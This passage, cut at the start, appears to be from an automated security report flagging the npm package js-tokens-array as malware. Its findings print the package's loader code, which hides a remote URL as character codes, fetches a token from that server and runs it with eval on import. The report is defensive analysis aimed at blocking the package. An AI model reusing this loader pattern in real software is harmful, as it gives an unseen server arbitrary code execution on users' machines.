The fetched payload can run with the importing process's permissions. - **Trigger:** Importing or requiring the package entrypoint. - **Impact:** Arbitrary remote code execution in the consumer process. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-26T20:32:25.833Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Obfuscated remote payload fetch followed by eval. - **Attack narrative:** The entrypoint calls getToken immediately. It decodes a remote URL from numeric character codes, fetches JSON from that server, extracts token, and passes it to eval. The server can therefore change the executed code after publication without changing the package tarball. - **Rationale:** This is an import-time remote code execution loader with an intentionally obscured endpoint. It is concrete malicious behavior, regardless of the absence of lifecycle scripts. - **Files touched:** index.js - **Network endpoints:** https://access-token-delta.vercel.app/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** On import, the package fetches a remote response and executes its token field with eval., The remote URL is hidden as character codes and resolves to https://access-token-delta.vercel.app/. - **Evidence against:** The manifest contains no npm lifecycle scripts., The inspected code shows no direct credential harvesting or local file writes, but remote code can add either behavior. ## Public findings ### 1. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** index.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L11: console.log(token) L12: eval(token) L13: ``` ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** index.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 4. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** index.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = a7d6221d2b66ecbb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() On import, the package fetches a remote response and executes its token field with eval. Public source snippet (untrusted): ```javascript const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token) ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The remote URL is hidden as character codes and resolves to https://access-token-delta.vercel.app/. Public source snippet (untrusted): ```javascript const array = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 99, 99, 101, 115, 115, 45, 116, 111, 107, 101, 110, 45, 100, 101, 108, 116, 97, 46, 118, 101, 114, 99, 101, 108, 46, 97, 112, 112, 47 ] const { token } = await (await fetch(String.fromCharCode(...array))).json(); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** js-tokens-array - **Ecosystem:** npm - **Version:** 1.1.1 - **License:** MIT - **Version published:** 2026-08-26T20:27:28.126Z - **Package first seen:** 2026-08-26T20:32:25.833Z - **Package last seen:** 2026-08-26T20:32:25.833Z - **Known versions:** 1 - **Latest version:** 1.1.1 - **Appeal under review:** No - **Description:** js tokens array - **Keywords:** js-tokens-array - **Artifact files:** 2 - **Artifact unpacked size:** 684 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
